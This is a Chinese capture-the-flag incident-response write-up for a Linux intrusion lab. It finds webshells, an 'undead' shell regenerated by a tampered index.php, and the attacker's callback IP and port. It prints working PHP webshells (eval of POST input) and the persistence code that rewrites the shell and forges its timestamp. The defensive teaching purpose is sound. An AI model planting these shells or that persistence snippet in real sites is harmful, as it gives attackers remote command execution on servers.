玄机靶场--第一章 应急响应- Linux入侵排查

文章目录

第一章 应急响应- Linux入侵排查

复制代码
账号:root 密码:linuxruqin
ssh root@IP
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
1.web目录存在木马,请找到木马的密码提交

和上一次的webshell查杀一样,可以尝试搜索jsp、php、asp、aspx这几种特殊后缀文件,并尝试寻找其中的危险函数来查找webshell。

bash 复制代码
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec(" 
find ./ type f -name "*.php" | xargs grep "eval(" 
find ./ type f -name "*.asp" | xargs grep "execute(" 
find ./ type f -name "*.aspx" | xargs grep "eval(" 

命令解析:

bash 复制代码
find ./ type f -name "*.php" | xargs grep "eval(" 
  • find ./ type f -name "*.php":在当前目录及子目录下,寻找以.php后缀结尾的文件。,输出其文件路径。
  • xargs:xargs会将前面所得到的文件对应的路径,传递给grep,并且让 grep 在每个文件的内容中查找。
  • grep "eval(" :在文件内容中查找字符串 "eval("

这里在搜索.php文件并过滤eval函数的时候,得到了三个文件.shell.phpindex.php1.php

bash 复制代码
root@ip-10-0-10-4:/var/www# find ./ type f -name "*.php" | xargs grep "eval(" 
find: 'type': No such file or directory
find: 'f': No such file or directory
./html/.shell.php:<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
./html/index.php:$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
./html/1.php:<?php eval($_POST[1]);?>

看到1.php中一句话木马密码为1

复制代码
flag{1}
2.服务器疑似存在不死马,请找到不死马的密码提交

上面还有.shell.phpindex.php这两个文件,挨个看一下

bash 复制代码
root@ip-10-0-10-4:/var/www# cd html
root@ip-10-0-10-4:/var/www/html# cat .shell.php
<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
root@ip-10-0-10-4:/var/www/html# cat index.php
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
        $path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
        Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
        Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>
php 复制代码
//shell.php
<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>

index.php产生的,这段代码作用是判断传入的密码的MD5值是否正确,如果正确,则可以通过POST提交的参数cmd进行命令执行。

php 复制代码
//index.php
<?php
//引入外部文件
include('config.php');  //config.php通常是配置文件
include(SYS_ROOT.INC.'common.php'); //common.php通常是公共的辅助函数或类库
//获取路径
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
        $path=substr($path,1);
}
$path = Base::safeword($path); //做安全处理,对路径进行过滤
//控制器
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
        Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
        Index::run($path);
}
//创建恶意文件,并将恶意代码写入其中
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php'); //伪造文件时间戳
usleep(3000); //增加延迟避免监控
?>
复制代码
密码的MD5值:5d41402abc4b2a76b9719d911017c592
经过MD5解密:hello

flag{hello}
3.不死马是通过哪个文件生成的,请提交文件名

由上一题分析得到,不死马由index.php生成。

复制代码
flag{index.php}
4.黑客留下了木马文件,请找出黑客的服务器ip提交

返回web目录,查看一下还有什么,看到一个可疑的文件'shell(1).elf'。可以尝试执行一下,然后查看连接的服务器。

bash 复制代码
root@ip-10-0-10-4:/var/www/html# ls
 1.php   admin     config.php   favicon.ico   index.php     LICENSE    README.md  'shell(1).elf'   template
 1.tar   api.php   data         include       install.php   pictures   rss.php     sitemap.php     wap
root@ip-10-0-10-4:/var/www/html# ./'shell(1).elf'
-bash: syntax error near unexpected token `1'
root@ip-10-0-10-4:/var/www/html# chmod 777 'shell(1).elf'
root@ip-10-0-10-4:/var/www/html# ./'shell(1).elf'

在html目录下存在一个'shell(1).elf'文件,尝试执行,发现没有权限,直接给777权限,然后执行。

这里执行之后是没有任何回显的,需要再开一个连接。

bash 复制代码
root@ip-10-0-10-4:~# netstat -antlp | more
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      553/mysqld          
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      496/sshd            
tcp        0      0 10.0.10.4:22            223.102.112.50:17121    ESTABLISHED 1230/sshd: root@not 
tcp        0    168 10.0.10.4:22            223.102.112.50:17216    ESTABLISHED 8360/sshd: root@pts 
tcp        0      0 10.0.10.4:22            188.165.33.179:35306    SYN_RECV    -                   
tcp        0      1 10.0.10.4:33052         10.11.55.21:3333        SYN_SENT    6941/./shell(1).elf 
tcp        0      0 10.0.10.4:22            223.102.112.50:17101    ESTABLISHED 814/sshd: root@pts/ 
tcp6       0      0 :::80                   :::*                    LISTEN      680/apache2         
tcp6       0      0 :::22                   :::*                    LISTEN      496/sshd    

命令分析:

bash 复制代码
netstat -antlp | more

netstat用于显示网络连接、路由表、接口统计信息、伪装连接和多播成员信息。可以用于显示网络连接和监听端口的详细信息。

  • -a:显示所有连接中的端口,包括监听和非监听。
  • -n:以数字形式显示地址和端口号,而不是将其解析为主机名或服务名。
  • -t:显示 TCP 连接。
  • -l:显示监听状态的套接字。
  • -p:显示使用每个套接字的程序。

使用more命令通过分页方式呈现输出内容。

找到连接的ip:10.11.55.21

复制代码
flag{10.11.55.21}
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

同上

复制代码
flag{3333}
利用工具排查

将/var/www/html目录dump下来,使用D盾扫描

扫出来的第二个文件1.php,即为第一问所需的文件。

扫出来的第四个文件index.php,即为第二问、第三问所需的文件。

剩下的没有扫出来的使用云沙箱等工具扫描,这里使用微步的云沙箱发现shell(1).elf文件,并且可以找到服务器ip以及端口。

相关推荐
2302_799525749 分钟前
【Linux】su、su-、sudo、sudo -i、sudo su - 命令有什么区别?分别适用什么场景?
linux·运维·服务器
暴躁的小胡!!!17 分钟前
2025年最新总结安全基础(面试题)
网络·安全·web安全
FreeBuf_20 分钟前
美国国土安全部终止资助,CVE漏洞数据库项目面临停摆危机
数据库·安全·web安全
白山云北诗25 分钟前
游戏盾是什么?重新定义游戏安全边界
安全·游戏·游戏盾推荐·游戏攻击
正点原子39 分钟前
【正点原子STM32MP257连载】第四章 ATK-DLMP257B功能测试——EEPROM、SPI FLASH测试 #AT24C64 #W25Q128
linux·stm32·单片机·嵌入式硬件·stm32mp257
Nuyoah.1 小时前
《vue3学习手记3》
前端·javascript·vue.js·学习·前端框架
野生派蒙1 小时前
Linux:安装 CentOS 7(完整教程)
linux·运维·服务器·centos
noravinsc2 小时前
centos部署的openstack发布windows虚拟机
linux·windows·centos
肯德基疯狂星期四-V我502 小时前
【Ubuntu】【树莓派】Linux系统的远程终端登录、远程图形桌面访问、 X图形窗口访问和文件传输操作
linux·运维·ubuntu·树莓派
努力努力再努力wz2 小时前
【Linux实践系列】:匿名管道收尾+完善shell外壳程序
linux·运维·服务器·c++